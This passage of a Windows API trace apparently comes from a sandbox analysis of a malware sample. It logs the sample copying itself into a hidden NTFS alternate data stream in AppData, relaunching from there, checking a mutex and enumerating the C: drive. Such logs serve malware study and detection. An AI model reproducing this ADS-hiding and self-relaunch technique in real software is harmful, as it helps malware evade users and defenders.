ftLastAccessTime.dwLowDateTime=0x870ea0f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x870ea0f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="iscsicli.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x396bec02, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x396bec02, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe46f3420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="iscsicpl.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa7065be1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="isoburn.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b15b2d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc1b15b2d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d23879, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc5d23879, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="ksetup.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1459e2, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c1459e2, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="ktmutil.exe", cAlternateFileName="")) returned 1 [0225.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af3f0 [0225.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af368 [0225.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af3f0) returned 1 [0225.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af3f0 [0225.616] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\ktmutil.exe" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\ktmutil.exe"), fInfoLevelId=0x0, lpFileInformation=0x15ff8c4 | out: lpFileInformation=0x15ff8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x4a0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x15ffc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x15ff95c)) returned 0 [0225.616] GetLastError () returned 0x7b [0225.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af368) returned 1 [0225.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8db0 [0225.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8db0) returned 1 [0225.617] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1"), fInfoLevelId=0x0, lpFileInformation=0x15ff8c4 | out: lpFileInformation=0x15ff8c4*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x4a0000, ftLastAccessTime.dwLowDateTime=0x8f8db0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x15ffc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x15ff95c)) returned 0 [0225.617] GetLastError () returned 0x2 [0225.617] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x1a4 [0225.617] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x15ff908, lpLastWriteTime=0x15ff908) returned 1 [0225.617] WriteFile (in: hFile=0x1a4, lpBuffer=0x8f8df8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x15ff934, lpOverlapped=0x0 | out: lpBuffer=0x8f8df8*, lpNumberOfBytesWritten=0x15ff934*=0x0, lpOverlapped=0x0) returned 1 [0225.617] NtClose (Handle=0x1a4) returned 0x0 [0225.618] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af3f0) returned 1 [0225.618] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af478) returned 1 [0225.618] FindClose (in: hFindFile=0x4fd4a0 | out: hFindFile=0x4fd4a0) returned 1 [0225.618] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af500) returned 1 [0225.618] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af588) returned 1 [0225.618] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x800) returned 0x8f4058 [0225.618] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8f4058, nSize=0x200 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0225.618] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af588 [0225.618] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), fInfoLevelId=0x0, lpFileInformation=0x15ff8c4 | out: lpFileInformation=0x15ff8c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a159cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84a159cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0225.618] CreateFileW (lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0225.618] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x15ff908, lpLastWriteTime=0x15ff908) returned 0 [0225.618] GetFileSize (in: hFile=0x188, lpFileSizeHigh=0x15ff8f4 | out: lpFileSizeHigh=0x15ff8f4*=0x0) returned 0x27000 [0225.618] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ff900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ff900*=0) returned 0x0 [0225.618] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x27000) returned 0x8f9690 [0225.621] ReadFile (in: hFile=0x188, lpBuffer=0x8f9690, nNumberOfBytesToRead=0x27000, lpNumberOfBytesRead=0x15ff934, lpOverlapped=0x0 | out: lpBuffer=0x8f9690*, lpNumberOfBytesRead=0x15ff934*=0x27000, lpOverlapped=0x0) returned 1 [0225.623] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x27000) returned 0x920698 [0225.626] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0225.626] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x27000) returned 0x8f9690 [0225.626] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8df8) returned 1 [0225.626] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920698) returned 1 [0225.626] NtClose (Handle=0x188) returned 0x0 [0225.626] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af588) returned 1 [0225.626] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4058) returned 1 [0225.626] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af588 [0225.626] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x15ff8c4 | out: lpFileInformation=0x15ff8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x4a0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x15ffc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x15ff95c)) returned 0 [0225.626] GetLastError () returned 0x2 [0225.626] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x188 [0225.627] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x15ff908, lpLastWriteTime=0x15ff908) returned 1 [0225.627] WriteFile (in: hFile=0x188, lpBuffer=0x8f9690*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x15ff934, lpOverlapped=0x0 | out: lpBuffer=0x8f9690*, lpNumberOfBytesWritten=0x15ff934*=0x27000, lpOverlapped=0x0) returned 1 [0225.630] NtClose (Handle=0x188) returned 0x0 [0225.630] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af588) returned 1 [0225.630] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0225.630] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3850) returned 1 [0225.630] CreateProcessAsUserW (in: hToken=0x170, lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x15ffc48*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x15ffc38 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin", lpProcessInformation=0x15ffc38*(hProcess=0x1a4, hThread=0x188, dwProcessId=0x720, dwThreadId=0x724)) returned 1 [0225.646] NtClose (Handle=0x188) returned 0x0 [0225.646] NtClose (Handle=0x170) returned 0x0 [0225.646] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af148) returned 1 [0225.646] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8a98) returned 1 [0225.646] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8a08) returned 1 [0225.646] Wow64DisableWow64FsRedirection (in: OldValue=0x15ffce8 | out: OldValue=0x15ffce8*=0x1) returned 1 [0225.646] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af148 [0225.646] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af588 [0225.646] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af500 [0225.646] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af478 [0225.646] GetLogicalDrives () returned 0x4 [0225.646] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0225.646] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8a08 [0225.646] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af3f0 [0225.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.646] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8a98 [0225.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x8f8a98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0225.646] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8df8 [0225.646] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8a98) returned 1 [0225.646] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af3f0) returned 1 [0225.646] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8a98 [0225.646] CryptAcquireContextW (in: phProv=0x15ffc64, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ffc64*=0x4fb630) returned 1 [0225.647] CryptCreateHash (in: hProv=0x4fb630, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x15ffc64 | out: phHash=0x15ffc64) returned 1 [0225.647] CryptHashData (hHash=0x4fd4a0, pbData=0x8f8df8, dwDataLen=0xa, dwFlags=0x0) returned 1 [0225.647] CryptGetHashParam (in: hHash=0x4fd4a0, dwParam=0x4, pbData=0x15ffc68, pdwDataLen=0x15ffc74, dwFlags=0x0 | out: pbData=0x15ffc68, pdwDataLen=0x15ffc74) returned 1 [0225.647] CryptGetHashParam (in: hHash=0x4fd4a0, dwParam=0x2, pbData=0x8f8a98, pdwDataLen=0x15ffc68, dwFlags=0x0 | out: pbData=0x8f8a98, pdwDataLen=0x15ffc68) returned 1 [0225.647] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8db0 [0225.647] CryptDestroyHash (hHash=0x4fd4a0) returned 1 [0225.647] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.647] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8a98) returned 1 [0225.647] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8a98 [0225.647] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8d68 [0225.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8a98) returned 1 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8a98 [0225.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8a98) returned 1 [0225.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8d68) returned 1 [0225.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8db0) returned 1 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8db0 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8d68 [0225.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8d68) returned 1 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8d68 [0225.648] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{Global\\{-D2A8-E443--570-7-F5B2-D923-}") returned 0x0 [0225.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8d68) returned 1 [0225.648] GetLastError () returned 0x3 [0225.648] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xffffffff) returned 0xffffffff [0225.648] GetLastError () returned 0x6 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af3f0 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af368 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af2e0 [0225.648] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x15ffa34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ffa34) returned 0x4fd4e0 [0225.648] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0000, dwReserved1=0x8003, cFileName="Boot", cAlternateFileName="")) returned 1 [0225.648] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x4d0000, dwReserved1=0x8003, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4abc08 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af1d0 [0225.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8d68 [0225.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.649] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x4d0000, dwReserved1=0x8003, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4aff98 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af0c0 [0225.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.649] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0000, dwReserved1=0x8003, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0225.649] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0225.649] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x7acdd6a0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4affb8 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af038 [0225.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.649] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0225.649] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x79535c00, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4add90 [0225.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aefb0 [0225.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.649] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0225.649] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3e1cad0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3e1cad0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 